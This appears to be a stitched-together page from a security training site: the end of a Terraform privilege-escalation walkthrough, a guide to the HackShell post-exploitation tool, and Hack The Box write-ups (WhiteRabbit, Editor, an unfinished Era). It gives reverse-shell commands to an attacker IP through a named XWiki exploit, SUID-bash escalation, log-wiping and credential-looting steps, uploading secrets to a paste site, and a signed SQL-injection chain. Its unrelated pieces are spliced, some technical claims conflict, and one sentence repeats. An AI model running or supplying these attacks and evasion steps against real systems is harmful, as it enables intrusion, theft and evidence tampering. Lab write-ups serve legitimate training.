Commands executed as user jeremy: gcc dark.c -o terraform-provider-examples compiles the fixed exploit source into a binary named terraform-provider-examples, followed by chmod +x terraform-provider-examples to make it executable.
Placement in /usr/local/go/bin allows Terraform to load the provider during the apply operation in /opt/examples. The dev_overrides setting in .terraformrc triggers this behavior. Together, these actions complete the setup for root privilege escalation.
Executing sudo /usr/bin/terraform -chdir=/opt/examples apply as user jeremy (after a password prompt) runs successfully as root, displaying the Terraform warning about active provider development overrides pointing to /usr/local/go/bin. Terraform refreshes state, finds no changes needed, and completes the apply with 0 resources added/changed/destroyed. The output confirms the custom provider was loaded without errors, and the malicious binary executed its payload (making /bin/bash SUID root), achieving full root privilege escalation via the dev override and sudo rule.
As a result of the exploit, the presence of s in both the owner and group execute bits (rwsr-sr-x) confirms that /bin/bash is now SUID root and SGID root. Consequently, any user can execute it and immediately gain a root shell, for example, by running bash -p. This is the direct result of the successful execution of the malicious Terraform provider binary, completing the root privilege escalation on the machine.
Execution of /bin/bash -p as user jeremy immediately spawns a new bash shell with the prompt changing to bash-5.1#, indicating successful privilege escalation to root shell via the now-SUID /bin/bash binary.
In one of our Linux Forensics articles we discussed how widespread Linux systems are today. Most of the internet quietly runs on Linux. Internet service providers rely on Linux for deep packet inspection. Websites are hosted on Linux servers. The majority of home and business routers use Linux-based firmware. Even when we think we are dealing with simple consumer hardware, there is often a modified Linux kernel working in the background. Many successful web attacks end with a Linux compromise rather than a Windows one. Once a Linux server is compromised, the internal network is exposed from the inside. Critical infrastructure systems also depend heavily on Linux. Gas stations, industrial control systems, and even CCTV cameras often run Linux or Linux-based embedded firmware.
Master OTW has an excellent series showing how cameras can be exploited and later used as proxies. Once an attacker controls such a device, it becomes a doorway into the organization. Cameras are typically reachable from almost everywhere in the segmented network so that staff can view them. When the camera is running cheap and vulnerable software, that convenience can turn into a backdoor that exposes the entire company. In many of our forensic investigations we have seen Linux-based devices like cameras, routers, and small appliances used as the first foothold. After gaining root access, attackers often deploy their favorite tools to enumerate the environment, collect configuration files, harvest credentials, and sometimes even modify PAM to maintain silent persistence.
So Bash is already a powerful friend to both administrators and attackers. But we can make it even more stealthy and hacker friendly. We are going to explore HackShell, a tool designed to upgrade your Bash environment when you are performing penetration testing. HackShell was developed by The Hacker’s Choice, a long-standing hacking research group known for producing creative security tools. The tool is actively maintained, loads entirely into memory, and does not need to write itself to disk. That helps reduce forensic artifacts and lowers the chance of triggering simple detections.
If you are a defender, this article will also be valuable. Understanding how tools like HackShell operate will help you recognize the techniques attackers use to stay low-noise and stealthy. Network traffic and behavioral traces produced by these tools can become intelligence signals that support your SIEM and threat detection programs.
Let’s get started.
Setting Up
Once a shell session has been established, HackShell can be loaded directly into memory by running either of the following commands:
You are all set. Once HackShell loads, it performs some light enumeration to collect details about the current environment. For example, you may see output identifying suspicious cron jobs or even detecting tools such as gs-netcat running as persistence. That early context already gives you a sense of what is happening on the host.
But if the compromised host does not have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell script after moving to /dev/shm. On very old machines, or when you face compatibility issues, you may need to follow this sequence instead.
The developers of HackShell clearly put a lot of thought into what a penetration tester might need during live operations. Many helpful functions are built directly into the shell. You can list these features using the xhelp command, and you can also request help on individual commands using xhelp followed by the command name.
We will walk through some of the most interesting ones. A key design principle you will notice is stealth. Many execution methods are chosen to minimize traces and reduce the amount of forensic evidence left behind.
Evasion
These commands will help you reduce your forensic artefacts.
xhome
This command temporarily sets your home directory to a randomized path under /dev/shm. This change affects only your current HackShell session and does not modify the environment for other users who log in. Placing files in /dev/shm is popular among attackers because /dev/shm is a memory-backed filesystem. That means its contents do not persist across reboots and often receive less attention from casual defenders.
bash$ > xhome
For defenders reading this, it is wise to routinely review /dev/shm for suspicious files or scripts. Unexpected executable content here is frequently a red flag.
xlog
When attackers connect over SSH, their login events typically appear in system authentication logs. On many Linux distributions, these are stored in auth.log. HackShell includes a helper to selectively remove traces from the log.
For example:
bash$ > xlog '1.2.3.4' /var/log/auth.log
xtmux
Tmux is normally used by administrators and power users to manage multiple terminal windows, keep sessions running after disconnects, and perform long-running tasks. Attackers abuse the same features. In several forensic cases we observed attackers wiping storage by launching destructive dd commands inside tmux sessions so that data erasure would continue even if the network dropped or they disconnected.
This command launches an invisible tmux session:
bash$ > xtmux
Enumeration and Privilege Escalation
Once you have shifted your home directory and addressed logs, you can begin to understand the system more deeply.
ws
The WhatServer command produces a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports, and more. This gives you a situational awareness snapshot and helps you decide whether the machine is strategically valuable.
lpe
LinPEAS is a well-known privilege escalation auditing script. It is actively maintained, frequently updated, and widely trusted by penetration testers. HackShell integrates a command that runs LinPEAS directly in memory so the script does not need to be stored on disk.
bash$ > lpe
The script will highlight possible paths to privilege escalation. In the example environment we were already root, which meant the output was extremely rich. However, HackShell works well under any user account, making it useful at every stage of engagement.
hgrep
Credential hunting often involves searching through large numbers of configuration files or text logs. The hgrep command helps you search for keywords in a simple and direct way.
bash$ > hgrep pass
This can speed up the discovery of passwords, tokens, keys, or sensitive references buried in files.
scan
Network awareness is critical during lateral movement. HackShell’s scan command provides straightforward scanning with greppable output. You can use it to check for services such as SMB, SSH, WMI, WINRM, and many others.
You can also search for the ports commonly associated with domain controllers, such as LDAP, Kerberos, and DNS, to identify Active Directory infrastructure. Once domain credentials are obtained, they can be used for enumeration and further testing. HTTP scanning is also useful for detecting vulnerable web services.
Example syntax:
bash$ > scan PORT IP
loot
For many testers, this may become the favorite command. loot searches through configuration files and known locations in an effort to extract stored credentials or sensitive data. It does not always find everything, especially when environments use custom paths or formats, but it is often a powerful starting point.
bash$ > loot
If the first pass does not satisfy you:
bash$ > lootmore
When results are incomplete, combining loot with hgrep can help you manually hunt for promising strings and secrets.
Lateral Movement and Data Exfiltration
When credentials are discovered, the next step may involve testing access to other machines or collecting documents. It is important to emphasize legal responsibility here. Mishandling exfiltrated data can expose highly sensitive information to the internet, violating agreements.
tb
The tb command uploads content to termbin.com. Files uploaded this way become publicly accessible if someone guesses or brute forces the URL. This must be used with caution.
bash$ > tb secrets.txt
After you extract data, securely deleting the local copy is recommended.
bash$ > shred secrets.txt
xssh and xscp
These commands mirror the familiar SSH and SCP tools and are used for remote connections and secure copying. HackShell attempts to perform these actions in a way that minimizes exposure. Defenders are continuously improving monitoring, sometimes sending automatic alerts when new SSH sessions appear. If attackers move carelessly, they risk burning their foothold and triggering incident response.
Connect to another host:
bash$ > xshh root@IP
Upload a file to /tmp on the remote machine:
bash$ > xscp file root@IP:/tmp
Download a file from the remote machine to /tmp:
bash$ > xscp root@IP:/root/secrets.txt /tmp
Summary
HackShell is an example of how Bash can be transformed into a stealthy, feature-rich environment for penetration testing. There is still much more inside the tool waiting to be explored. If you are a defender, take time to study its code, understand how it loads, and identify the servers it contacts. These behaviors can be turned into Indicators of Compromise and fed into your SIEM to strengthen detection.
If ethical hacking and cyber operations excite you, you may enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a rich library of beginner and intermediate courses that develop your skills step by step. Once those payments are complete, you unlock Subscriber Pro-level training that opens the door to advanced and specialized topics designed for our most dedicated learners. This structure was created because students asked for flexibility, and we listened. It allows you to keep growing and improving without carrying an unnecessary financial burden, while becoming the professional you want to be.
In this writeup, we will explore the “WhiteRabbit” machine from Hack The Box, categorized as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “WhiteRabbit” machine from Hack The Box by achieving the following objectives:
User Flag:
The user flag began with a publicly accessible Uptime Kuma guest dashboard that inadvertently exposed internal service names and subdomains, including Wiki.js, Gophish, and n8n. A leaked n8n workflow JSON file on the unauthenticated Wiki.js instance revealed the exact webhook endpoint, the hardcoded HMAC-SHA256 secret, and a vulnerable email parameter prone to blind SQL injection. This dump uncovered the restic repository password from bob’s command history. Leveraging bob’s NOPASSWD sudo privilege for restic, a snapshot was restored containing bob’s private SSH key from /dev/shm. After gaining access as bob, the same restic privilege was abused again to dump a root-level snapshot that included morpheus’s private SSH key. Finally, SSH access as morpheus allowed reading of the user.txt flag.
Root Flag:
From the morpheus shell, exploration revealed a custom SUID binary at /opt/neo-password-generator/neo-password-generator. The binary was transferred off-box and reverse-engineered, exposing a predictable pseudorandom password generator that used srand() seeded directly from a command-line argument. A signed integer overflow in the seed calculation (1725028842 * 1000 + add) created a small, predictable negative seed space. The binary was faithfully recreated locally, and a brute-force script generated candidate passwords until a valid one was found, granting SSH access as neo. Once inside as neo, sudo -l revealed full passwordless sudo privileges ((ALL : ALL) ALL). A simple sudo su elevated to root, allowing direct access to root.txt and completing the box.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
22/tcp (SSH): Standard OpenSSH service on Ubuntu, likely requiring valid credentials for remote access.
80/tcp (HTTP): Caddy web server redirecting to whiterabbit.htb, indicating name-based virtual hosting.
2222/tcp (SSH): Secondary OpenSSH instance on a non-standard port, suggesting an alternate or restricted access path.
Web Enumeration:
Perform web enumeration to discover potentially exploitable directories and files.
Visiting http://whiterabbit.htb, we’re presented with the public landing page of “White Rabbit – Pentesting Services”, a professional marketing site featuring a stylised rabbit mascot and sections about their penetration testing offerings.
Browsing the “Latest News” section on the main whiterabbit.htb site, we see a blog-style update explicitly mentioning the use of Uptime Kuma for uptime and network monitoring during client pentesting engagements, directly confirming its deployment.
Running Gobuster in VHOST enumeration mode against whiterabbit.htb using a medium-sized subdomain wordlist, the tool completes its scan with nearly 5,000 entries tested and reports no additional virtual hosts discovered.
Executing ffuf with Host-header fuzzing (Host: FUZZ.whiterabbit.htb) and filtering for non-zero response sizes, we successfully identify a hidden virtual host that returns a 302 redirect
Initial Web Exposure via Uptime Kuma
Accessing http://status.whiterabbit.htb/dashboard displays the Uptime Kuma login page with a standard username/password form and a “Remember me” option.
Uptime Kuma – Open-Source Uptime Monitoring
Uptime Kuma is a self-hosted, open-source monitoring tool that tracks the uptime and performance of websites, servers, and online services. It provides a real-time web dashboard, historical statistics, and alerts via channels like email, Discord, or Slack when services go down. Supporting multiple protocols such as HTTP(S), TCP, and Ping, it lets users monitor critical systems without relying on third-party services, giving full control over their data and notifications.
Viewing the source of http://status.whiterabbit.htb/dashboard, we see the standard Uptime Kuma login page source, featuring typical meta tags, Vue.js bundles, and the characteristic “Uptime Kuma/title” noscript message prompting JavaScript enablement.
When you visit https://n8n.io (as the status page monitoring reveals), you see the official landing page for n8n, a fair-code workflow automation platform that White Rabbit runs in production.
Discover the uptime version
Inspecting the bundled JavaScript at /assets/index-CYsZUV7d.js, we quickly spot the hardcoded frontendVersion string returning “1.23.13”
The official Uptime Kuma public status page provides real-time visibility into the operational state of monitored systems. It displays uptime metrics, incident history, and performance data, allowing stakeholders to quickly assess service health and track any disruptions without requiring authentication.
Trying /status at http://status.whiterabbit.htb/status returns a blank page, but based on the Uptime Kuma demo, it’s probably a general status endpoint.
Discovery of Internal Services
An unauthenticated Uptime Kuma page at /status/temp publicly lists all monitored services as operational.
Wiki.js Information Disclosure
When you land on http://a668910b5514e.whiterabbit.htb, Wiki.js greets you with its clean, modern homepage. A visible “ToDo” page lists just one item: the staff still needs to add authentication.
When you visit http://ddb09a8558c9.whiterabbit.htb, Gophish welcomes you with its clean login page. This open-source phishing framework displays only the iconic fishing-hook logo and a straightforward “Username / Password” sign-in form.
GoPhish Webhooks workflow
An internal Wiki.js article at /gophish_webhooks documents Gophish–n8n workflows, including screenshots and the full exported JSON.
Diving deeper into the leaked workflow notes, we read the full explanation of signature processing, user validation, phishing-score updates, and the existence of a debug node clearly labelled “DEBUG: REMOVE SOON”.
The exported n8n documentation includes a legitimate Gophish POST example with the required signature header and a “Clicked Link” payload.
When you save the leaked n8n workflow locally, the suggested filename “gophish_to_phishing_score_database.json” immediately reveals its purpose.
n8n Webhook Authentication Bypass
Visiting the n8n instance at http://28efa87fdf.whiterabbit.htb, we’re presented with the standard n8n login screen prompting for email and password, along with a “Critical update available” banner.
When you attempt to call the raw webhook URL directly at /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfdid, n8n returns a 404 JSON response.
SQL Injection via Signed Webhook
Sending a raw GET request to the same webhook path returns another 404 with the same helpful error message and a hint to activate the workflow via the top-right toggle.
The replayed webhook returned 200 OK with “User is not in database,” indicating an active endpoint that rejected the test payload.
The exported workflow includes “no signature” and “invalid signature” branches that expose plain-text errors for missing or incorrect x-gophish-signature headers.
A leaked n8n workflow node exposes a hard‑coded SHA‑256 HMAC secret for Gophish webhook signing.
Generating an HMAC-SHA256 Signature from a Minified JSON Payload Using CyberChef
Using CyberChef, we generate the correct HMAC-SHA256 by signing the minified JSON body with the UTF-8 secret jBiTicmv7gxc6IS. This produces the signature 2db3eee889e9ee285ce57acbe51caae7dd4863ab9cadf21be4262be8f9fb5ff7.
The finalised payload includes the correct secret, minified JSON, and a valid HMAC, enabling data extraction or command execution via OUTFILE.
Testing Request Integrity with Burp Suite
We craft the first request in Burp using the original payload and an incorrect signature. The server returns the expected “Provided signature is not valid” response.
We used CyberChef to recreate the minified JSON and compute a valid HMAC for the malicious payload.
A basic SQLi in the email field using ExtractValue returned a partial database list via an error message.
When you send the fully signed SQL injection request, the server responds with another detailed MySQL error.
We send a signed SQL injection payload to the n8n webhook. This triggers an XPath error that leaks all table names in the phishing database, including victims and campaigns. The still-active Gophish → n8n → MySQL chain confirms full blind SQLi exploitation with valid HMAC authentication.
We execute the final signed payload to extract full command history entries. These include usernames and timestamps, retrieved through the still-active n8n webhook → MySQL injection chain.
Opening the sql.py exploit script reveals a clean, fully automated Python tool. It loops 1,500 times to blind-extract the entire temp.command_log table, including IDs, commands, and dates.
Running the python3 sql.py script, we observe it quickly cycling through timestamps from August 30, 2024. It appears to be enumerating entries from the leaked temp.command_log table.
Credential Discovery from Command Logs
On Parrot OS, we install Restic with sudo apt install restic, fetching the latest version from the official repository. It is now ready to interact with White Rabbit’s backup system.
Attempting to use Restic without proper configuration results in a fatal error. It cannot reach http://75951e6ff.whiterabbit.htb/config, confirming the backup server runs on that subdomain.
To authenticate with the Restic repository, we create a password file containing ygcsvcuMdfZ89yaRL1TKhe5jAmth7vvxw and set its permissions to 600. We then export the RESTIC_REPOSITORY and RESTIC_PASSWORD_FILE environment variables.
Running restic snapshots, we confirm a single snapshot exists: ID 272cad5 from 2025-03-06, tagged with the path /dev/shm/bob/ssh.
Lateral Movement to bob
Using restic restore latest, we authenticated and restored snapshot 272cad5 from /dev/shm/bob/ssh on the remote repository.
Landing inside the restored snapshot, we find ourselves in /home/dark/Documents/htb/whiterabbit/restored_data/dev/shm/bob/ssh – a clear sign we’ve successfully recovered bob’s SSH directory from a restic backup.
Landing in the restored snapshot directory, we see a single file: bob.7z – the compressed archive containing bob’s SSH credentials that was accidentally left in /dev/shm.
Recovering Credentials from the 7-Zip Archive
Attempting to crack the 7z archive with 7zzjohn, we hit the classic “Can’t locate Compress::Raw::Lzma” error** because the required Perl module is missing on Parrot OS.
We install the missing LZMA Perl module with sudo apt install libcompress-raw-lzma-perl, fixing 7zz for John and allowing clean hash extraction.
We used 7zz john to crack the 7z, extracted the contents, and saved Bob’s password hash to hash.txt.
Finally, we dumped the cracked hash and viewed it with cat hash.txt, revealing Bob’s full password hash: $7z$.... Strictly unnecessary at this point, but satisfying to confirm.
John The Ripper quickly identifies the password as lq2w3e4r5t6y (a common keyboard-walk pattern shifted down one row, present in rockyou).
Inspecting Contents of bob.7z
Extracting the 7z archive with 7z x, we successfully decompress bob.7z after providing the password, revealing bob’s private key and config files.
Listing the restored directory post-extraction, we now have bob, bob.7z, bob.pub, config, and hash.txt – everything we need to own the box.
Pivoting to bob over SSH
Fixing permissions and SSHing directly as bob, we run chmod 600 bob and ssh -i bob bob@10.10.11.63 – instant shell, no password needed.
Checking bob’s sudo privileges, we run sudo -l and discover bob can run /usr/bin/restic as root with NOPASSWD – the golden ticket for privilege escalation.
Successfully initializing bob’s own local restic repository, we create dark at f22eeb5f29 after providing a valid password, ready for our own backups.
Running restic backup /root as bob with full sudo privileges, we create a new snapshot 2c446829 of the entire root directory – adding 4 new files and 3 new directories (including /root/morpheus and its keys) to our personal repository dark, all without ever needing root’s password.
Listing the latest snapshot 2c446829 as bob, we see a full backup of /root including .bashrc, .profile, .ssh, and crucially /root/morpheus and /root/morpheus.pub.
Dumping morpheus’s private key from the root snapshot, we use restic dump on path /root/morpheus and extract the full OpenSSH private key – confirming we now own root.
Pivot to morpheus
Viewing the recovered Morpheus private key locally, we can morpheus and stare at a pristine OpenSSH private key – root access is now just an SSH away.
SSHing in as morpheus using the recovered key, we successfully authenticate to morpheus@10.10.11.63 and land directly on the minimized Ubuntu 24.04 system.
Landing the final blow as morpheus on WhiteRabbit, we run cat user.txt and reveal the user flag
Escalate to Root Privileges Access
Privilege Escalation:
Failing sudo as morpheus, we repeatedly get “Sorry, try again” – confirming no easy password reuse and forcing us to look deeper for privilege escalation.
SUID Binary Discovery
Exploring /opt as morpheus, we discover the neo-password-generator directory containing a single executable – clearly the SUID binary we’re hunting.
Reverse Engineering the Binary
SCP-ing the neo-password-generator binary back to our machine, we successfully pull the 15KB ELF for static and dynamic analysis.
Checking the file type of neo-password-generator, we confirm it’s a 64-bit LSB pie executable, dynamically linked, not stripped – perfect for reverse engineering.
PRNG Design Analysis
Vulnerability 1: Integer Truncation in Seed Calculation (Critical Exploit Path)
The seed is calculated as tv_sec * 1000 + tv_usec / 1000, producing a 64-bit millisecond timestamp (approximately 1.7 trillion in late 2025). While this value fits safely within a signed 64-bit integer, it is commonly truncated when passed to srand(), either by casting to a 32-bit unsigned integer or via a modulo operation. This truncation silently discards the higher bits, reducing the effective seed space from trillions of possibilities to at most 4.29 billion, and often far fewer in practice. As a result, what appears to be a large entropy source becomes a manageable brute-force space, making this the primary exploitation vector.
Vulnerability 2: Predictable Seed from Low-Entropy Source
The seed relies entirely on the current system time in milliseconds, which provides very little entropy. An attacker with approximate knowledge of when the program was executed—derived from logs, challenge timing, or user interaction—can constrain the search window to a narrow range such as ±10–60 seconds. This reduces the number of candidate seeds to roughly 20,000–120,000. Because PRNGs are deterministic, testing this limited range is sufficient to reliably reproduce the generated output.
Vulnerability 3: Use of Weak, Non-Cryptographic PRNG
The password generation uses the standard rand() function seeded via srand(), which is not designed for security purposes. It exhibits predictable output patterns, weak lower bits, and easily reproducible sequences. Even if seeded correctly, rand() remains unsuitable for password generation. Combined with the truncated and time-based seed, an attacker can replicate the algorithm and regenerate the password with minimal effort, fully compromising the mechanism.
Grepping /etc/passwd for shell users, we spot root, neo (UID/GID 1000), and morpheus (UID/GID 1001) – hinting neo might be the intended escalation target.
Viewing the full decompiled dark.c source, we see a predictable password generator using srand(param_1) and rand() % 62 over a fixed charset, seeded directly from the command-line argument.
Running gcc on the decompiled dark.c, we hit an integer overflow warning on the line generate_password(1725028842*1000 + add) – a classic seed manipulation hint.
Executing our reconstructed dark binary, we successfully generate a password like L70f2aFEohexXuk07tEw… – proving our reverse engineering is accurate and ready for seed brute-force.
Dumping our local dark binary output to pass.txt, we prepare the reconstructed neo-password-generator for transfer and analysis. Spotting the overflow in the seed calculation, we realize 1725028842 * 1000 overflows a signed int, giving us a predictable negative seed range to brute-force neo’s password.
Authentication as neo
Testing multiple generated passwords via ssh, we see a long list of failed Paramiko errors until the correct one grants “Linux – Shell access!”.
Successfully authenticating as neo, we bypass the banner errors and gain a stable shell on neo@10.10.11.63.
Running sudo -l as neo, we discover the nuclear option: (ALL : ALL) ALL – neo can execute any command as any user, including root, without a password.
Switching to root with plain sudo su as neo, we seamlessly become root at /home/neo# – confirming neo has unrestricted sudo access.
Escalating instantly as neo with sudo -s, we drop straight into a root shell at /home/neo# – no password needed.
Catting root.txt from neo’s home as root, we uncover the root flag
In this write-up, we will explore the “Editor” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Editor” machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration identifies an XWiki service on port 8080. The footer reveals the exact version, which is vulnerable to an unauthenticated Solr RCE (CVE-2025-24893). Running a public proof of concept provides a reverse shell as the xwiki service account. Exploring the installation directory reveals the hibernate.cfg.xml file, where plaintext database credentials are stored. These credentials are valid for the local user oliver as well. Using them for SSH access grants a stable shell as oliver, which makes it possible to read the user flag.
Root Flag:
Several plugin files are owned by root, set as SUID, and still group-writable. Since oliver belongs to the netdata group, these files can be modified directly. Additionally, this access allows a small SUID helper to be compiled and uploaded, which is then used to overwrite the ndsudo plugin. Afterwards, Netdata executes this plugin with root privileges during normal operation, and therefore, the replacement immediately forces the service to run the injected payload.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 – standard secure shell service for remote access.
Port 80 (HTTP): nginx 1.18.0 (Ubuntu) – web server acting as reverse proxy, redirects to http://editor.htb/.
Port 8080 (HTTP): Jetty 10.0.20 running XWiki – main application with WebDAV enabled, missing HttpOnly on JSESSIONID, and robots.txt exposing edit/save/delete paths.
What is XWiki?
XWiki is a free, open-source enterprise wiki platform written in Java. Think of it as a super-powered Wikipedia-style software that companies or teams install on their own servers to create internal knowledge bases, documentation sites, collaborative portals, etc.
Web Enumeration:
Web Application Exploration:
Perform web enumeration to discover potentially exploitable directories and files.
Landing on http://editor.htb, we’re greeted by the homepage of “SimplistCode Pro” – a sleek, modern web-based code editor that looks almost identical to VS Code, complete with Ace Editor, file tree, and integrated terminal.
Accessing http://10.10.11.180:8080/xwiki/bin/view/Main/ reveals the built-in XWiki documentation page for SimplistCode Pro – confirming the actual editor runs on an XWiki instance at port 8080.
After discovering that the web service on port 8080 is an XWiki instance and confirming the exact version 15.10.8 from the footer banner, we immediately searched for public exploits.
CVE-2025-24893: Unauthenticated Remote Code Execution in XWiki Platform
CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in the XWiki Platform, an open-source enterprise wiki software. It allows any guest user (no login required) to execute arbitrary Groovy code on the server by sending a specially crafted request to the SolrSearch macro. This flaw stems from improper sandboxing and sanitisation of Groovy expressions in asynchronous macro rendering, enabling attackers to inject and execute malicious code via search parameters
This version is vulnerable to CVE-2025-24893 – an unauthenticated Remote Code Execution in the Solr search component via malicious Groovy templates.
Testing the exploit syntax first – the script help shows mandatory flags -t (target URL) and -c (command).
Setting up our listener with nc -lvnp 9007 to catch the reverse shell.
We launch the final exploit python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘bash -c “bash -i >/dev/tcp/10.10.14.189/9007 0>&1″‘ -e /bin/bash
Unfortunately, the CVE-2025-24893 exploit failed to pop a shell — no connection back to our listener—time to pivot and hunt for another path.
The exploit worked perfectly! Final command that popped the shell: python3 CVE-2025-24893.py -t http://editor.htb:8080/ -c ‘busybox nc 10.10.14.189 9007 -e /bin/bash’ The script injected Groovy code via the vulnerable Solr search endpoint, executed busybox nc … -e /bin/bash, and gave us our reverse shell as the xwiki system user.
Achieving Initial Foothold as xwiki User on Editor machine via CVE-2025-24893
Back on our attacker box, we fire up nc -lvnp 9007. Moments later, the listener catches a connection from 10.10.11.80:59508. Running id confirms we successfully landed as xwiki (uid=997) – the exact user running the XWiki Jetty instance. Initial foothold achieved!
The shell is raw and non-interactive. We immediately stabilize it: which python3 → /usr/bin/python3 python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ Prompt changes to xwiki@editor:/usr/lib/xwiki-jetty$ – full TTY achieved, background color and everything.
Inside the limited shell as xwiki@editor, we see another user home directory called oliver. Attempting cd oliver instantly fails with Permission denied – no direct access yet, but we now know the real target user is oliver.
Quick enumeration with find / -name “xwiki” 2>/dev/null reveals all XWiki-related paths (config, data store, logs, webapps, etc.). Confirms we’re deep inside the actual XWiki installation running under Jetty.
ls in the same directory reveals the classic XWiki/Jetty config files, including the juicy hibernate.cfg.xml – this file almost always contains plaintext database credentials.
hibernate.cfg.xml credential reuse on editor machine
Full cat hibernate.cfg.xml confirms this is the real DB password used by the application. Classic misconfiguration: developers reuse the same password for the DB user and the system user oliver.
cat hibernate.cfg.xml | grep password instantly dumps multiple entries, and the first one is: theEd1t0rTeam99 Bingo – plaintext password for the XWiki database (and very often reused elsewhere).
While poking around /usr/lib/xwiki/WEB-INF/, we try su oliver and blindly guess the password theEd1t0rTeam99 (common pattern on HTB). It fails with an Authentication failure – wrong password, but we now know the exact target user is Oliver.
Attempting to SSH directly as xwiki@editor.htb results in “Permission denied, please try again.” (twice). Attackers cannot log in via password-based SSH because the xwiki system account lacks a valid password (a common setup for service accounts). We can only interact with the XWiki user via the reverse shell we already have from the CVE exploit. No direct SSH access here.
SSH as oliver
From our attacker box we can now SSH directly as oliver (optional, cleaner shell): ssh oliver@editor.htb → password theEd1t0rTeam99 → clean login
User flag successfully grabbed! We’re officially the oliver user and one step closer to root.
Escalate to Root Privileges Access on the Editor machine
Privilege Escalation:
Sorry, user oliver may not run sudo on editor. No passwordless sudo, no obvious entry in /etc/sudoers.
Only oliver’s normal processes visible: systemd user instance and our own bash/ps. No weird cronjobs, no suspicious parent processes. Confirms we need a deeper, non-obvious privesc vector.
After stabilising our shell as oliver, we immediately start hunting for privilege-escalation vectors. First, we run find / -perm 4000 2>/dev/null to enumerate SUID binaries – the output returns nothing interesting, instantly ruling out the classic GTFOBins path. To be thorough, we double-check find / -user root -perm 4000 2>/dev/null in case any root-owned SUIDs were missed, but the result is the same: no promising binaries. Straight-up SUID exploitation is off the table, so we pivot to deeper enumeration with LinPEAS and other techniques. Root will require a less obvious vector.
Linpeas Enumeration
Downloading LinPEAS into /dev/shm (tempfs, stays hidden and writable).
As oliver, we fire up LinPEAS in /dev/shm: ./linpeas.sh. The legendary green ASCII art confirms it’s running and scanning.
LinPEAS lights up the intended privesc path in bright red: a whole directory of Netdata plugins under /opt/netdata/usr/libexec/netdata/plugins.d/ are owned by root, belong to the netdata group, have the SUID bit set, and are writable by the group. Since groups oliver shows we’re in the netdata group, we can overwrite any of these binaries with our own malicious payload and instantly get a root shell the next time Netdata executes the plugin (which happens automatically every few seconds). Classic Netdata SUID misconfiguration, game over for root.
The key section “Files with Interesting Permissions” + “SUID – Check easy privesc” shows multiple Netdata plugins (like go.d.plugin, ndsudo, network-viewer.plugin, etc.) owned by root but executable/writable by the netdata group or others. Classic Netdata misconfiguration on HTB boxes.
Compiled locally with gcc dark.c -o nvme, this will be uploaded and used to overwrite one of the writable Netdata SUID plugins.
why Nvme?
We compile our SUID shell as nvme to specifically target the Netdata plugin ndsudo at /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo. This file is root-owned, SUID, belongs to the netdata group, and is group-writable. Since oliver is in the netdata group, we can overwrite it directly. Netdata periodically runs ndsudo as root, so replacing it with our payload triggers an instant root shell. The name nvme is short, harmless-looking, and doesn’t clash with real system binaries, making it the perfect stealthy replacement. Upload → overwrite ndsudo → wait a few seconds → root. Simple and deadly effective
curl our compiled nvme from the attacker machine → download complete
chmod +x nvme → make it executable. Temporarily prepend /dev/shm to PATH so we can test it locally
When testing our malicious nvme binary with the existing ndsudo plugin (/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list), it fails with “nvme : not available in PATH.” This is expected because we haven’t overwritten ndsudo yet—it’s still the original binary, and our nvme isn’t in the PATH for this test command. It’s a quick sanity check to confirm the setup before the real overwrite. Next, we’ll copy nvme directly over ndsudo to hijack it.
An ls in /dev/shm now shows nvme is missing — we already moved or deleted it during testing. No problem: we just re-download it with curl nvme, chmod +x nvme, and we’re back in business, ready for the final overwrite of ndsudo. Payload restored, stealth intact.
We re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listWe re-download our malicious nvme, chmod +x it, prepend /dev/shm to PATH, and run the trigger command /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Root flag captured! With the Netdata plugin overwritten and triggered, we’ve spawned our SUID shell as root. Machine fully owned.
In this writeup, we will explore the “Era” machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Era” machine from Hack The Box by achieving the following objectives:
User Flag:
Initial enumeration revealed a hidden virtual host file.era.htb and a simple file-sharing web application that allowed registration and login. After creating an account, it quickly became clear that the download.php endpoint suffered from a severe Insecure Direct Object Reference (IDOR) vulnerability: any authenticated user could access any file on the platform simply by guessing its numeric ID. By fuzzing IDs 1–5000, two admin-uploaded archives were retrieved – a complete site backup containing the source code and SQLite database, and a signing.zip archive containing an SSH private key. The leaked database also exposed clear-text credentials, including eric:america. Because the ssh2 PHP extension was loaded on the server, the ssh2:// stream wrapper could be abused through the same vulnerable download endpoint.
Root Flag:
While exploring the system as eric, a root-owned executable /opt/AV/periodic-checks/monitor was discovered that runs periodically via cron (confirmed by entries in status.log). The binary performed a custom integrity check using a digital signature stored in an ELF section named .text_sig. Using objcopy, the legitimate signature was extracted from the original binary. On the attacker’s machine, a malicious statically linked reverse-shell binary (monitor_backdoor) was compiled, and the legitimate .text_sig section was injected into it with objcopy –add-section. The backdoored binary was then transferred to the target and used to overwrite the original monitor executable (the directory was world-writable). When the cron job next executed, the malicious binary ran as root and immediately connected back, delivering a root shell. The root flag was then read directly from /root/root.txt, completing the compromise.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Nmap Output:
Analysis:
Port 22 (SSH): Secure Shell service for remote access.
